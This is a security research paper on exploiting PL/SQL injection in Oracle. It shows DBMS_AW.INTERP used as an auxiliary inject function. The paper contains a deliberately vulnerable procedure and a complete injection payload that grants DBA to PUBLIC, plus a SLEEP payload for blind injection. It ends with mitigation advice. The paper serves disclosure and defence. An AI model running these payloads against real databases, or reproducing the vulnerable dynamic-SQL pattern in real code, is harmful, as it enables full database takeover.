Exploiting PL/SQL Injection In Oracle with Only CREATE SESSION Privileges (6th Edition)

dlitchfield@google.com

16th July 2015

tl;dr

DBMS_AW.INTERP can be used as an auxiliary inject function to execute arbitrary SQL when exploiting SQL and PL/SQL vulnerabilities in Oracle.

Introduction

Unlike Microsoft SQL Server, Oracle will not execute multiple, or batch, SQL statements at the same time. This makes the execution of arbitrary SQL through an SQL injection flaw slightly harder. For example, if an attacker was able to inject into a select statement it's not a straightforward task to use that to grant themselves DBA privileges. The attacker needs to inject a function into the extant query that carries the actual exploit payload and will carry out the work for them. If the attacker has the ability to create their own function then they could do that and embed within the function the code to grant DBA privileges and then inject it into the vulnerability. (In Oracle 12c though, this is no longer possible because it requires a user to have the INHERIT PRIVILEGE on the schema where the vulnerable code exists; this paper will show to bypass this). Assuming though the attacker only has the CREATE SESSION privilege they're unable to create their own function and so need to find a function that can act as an auxiliary inject function that'll do the legwork for them. In the past I have discussed in [1] [2] [3] [4] [5] many of these functions, though some of them are no longer available or the techniques have been prevented. As such, new methods need to be found (and, where possible, eliminated).

The Vulnerability

For the purposes of this paper we'll create a contrived PL/SQL procedure that is vulnerable to SQL injection. Essentially it takes user input and concatenates that input into a dynamic SQL query without any kind of validation.

```
CREATE OR REPLACE PROCEDURE VULNPROC(P_NAME VARCHAR) IS
BEGIN
EXECUTE IMMEDIATE 'SELECT OBJECT_ID FROM ALL_OBJECTS WHERE
OBJECT_NAME = ''' || P_NAME || '''';
END;
/
```

Assume SYS creates this procedure and it is executable by PUBLIC. It will execute with the privileges of the SYS user (known as definer rights execution) because the AUTHID CURRENT_USER keywords have not been specified, making it an invoker rights procedure. As it executes with SYS privileges any injected SQL will executes with same privileges thus allowing an attacker to gain full control over the database server. Below we can see the flaw being discovered and tested:

```
SQL> EXEC SYS.VULNPROC('AAA''AAA');
BEGIN SYS.VULNPROC('AAA''AAA'); END;

*
ERROR at line1:
ORA-00933: SQL command not properly ended
ORA-06512: at "SYS.VULNRPOC", line 3
ORA-06512: at line 1

SQL>
```

The DBMS_AW.INTERP function
The DBMS_AW package is used to manage Analytic Workspaces (AW) in OLAP and acts as an interface for executing OLAP DML commands and creating and modifying OLAP AW objects such as programs. One of DBMS_AW's functions is INTERP. INTERP takes one or more OLAP DML commands separated by semicolons and executes them.

For example, the following OLAP DML command will cause the application to sleep for 10 seconds (which becomes very useful in web applications for time-based SQL inference attacks of a blind SQL injection flaw)

```
SQL> SELECT DBMS_AW.INTERP('SLEEP 10') FROM DUAL;
```

OLAP DML also has an "SQL" command that allows for the execution of SQL from OLAP DML. For example the "SQL PROCEDURE" command executes a procedure:

```
SQL> SELECT DBMS_AW.INTERP('SQL PROCEDURE
DBMS_OUTPUT.PUT_LINE(USER)') FROM DUAL;
DBMS_AW.INTERP('SQLPROCEDUREDBMS_OUTPUT.PUT_LINE(USER)')
--------------------------------------------------------------

DAVID
SQL>
```

We can also use the SQL PREPARE command to prepare and SQL statement and execute it, provided we create a program first. In the SQL below we attach to the EXPRESS AW which exists by default, create a program called X1 (no privileges are required for this because we're working with a private copy of the AW), embed our SQL statement then execute it by calling X1. Lastly we delete the X1 program.

```
SQL> select dbms_aw.interp('aw attach express; define x1
program'||chr(10)||'program'||chr(10)||'SQL PREPARE S1 FROM DECLARE
PRAGMA AUTONOMOUS_TRANSACTION~ BEGIN EXECUTE IMMEDIATE ''SELECT 1
FROM DUAL''~ END~ '||chr(10)||'SQL EXECUTE S1'||chr(10)||'end; call
x1; delete x1;') from dual;
```

We can use this as the basis of our exploit and use it to grant DBA privileges via the vulnerability. In the transcript below the attacker connects to the database server and tries to set the DBA role which fails because they do not have membership. They then exploit the flaw by injecting DBMS_AW.INTERP with their nefarious payload, granting PUBLIC DBA privileges. Once done the attacker can then set the DBA role:

```
SQL> CONNECT DAVID/PASSWORD
Connected.
SQL> SET ROLE DBA;
SET ROLE DBA
*
ERROR at line 1:
ORA-01924: role 'DBA' not granted or does not exist


SQL> EXEC SYS.VULNPROC('AAA''||TO_CHAR(DBMS_AW.INTERP(''aw attach
express; define x1 program''||chr(10)||''program''||chr(10)||''SQL
PREPARE S1 FROM DECLARE PRAGMA AUTONOMOUS_TRANSACTION~ BEGIN EXECUTE
IMMEDIATE ''''GRANT DBA TO PUBLIC''''~ END~ ''||chr(10)||''SQL
EXECUTE S1''||chr(10)||''end; call x1; delete x1;''))||''AAA');

PL/SQL procedure successfully completed.

SQL> SET ROLE DBA;

Role set.

SQL>
```

As a sidenote, DBMS_AW.INTERPCLOB can also be used as an auxiliary inject function in the same manner.

Conclusion

DBMS_AW can be abused by attacker as an auxiliary inject function. Revoking PUBLIC execute permissions will help prevent its use when exploiting SQL injection flaws in non-SYS owned procedures but, because it's owned by SYS, if it's injected into a SYS owned vulnerable PL/SQL package it'll make no difference. Auditing the use of DBMS_AW is recommended.

[1] http://www.davidlitchfield.com/plsql-injection-create-session.pdf
[2] http://www.davidlitchfield.com/cursor-injection.pdf
[3] http://www.davidlitchfield.com/ExploitingPLSQLinOracle11g.pdf
[4] http://www.davidlitchfield.com/Exploiting_PLSQL_Injection_on_Oracle_12c.pdf
[5] http://www.davidlitchfield.com/DBMS_XMLSTORE_PLSQL_Injection.pdf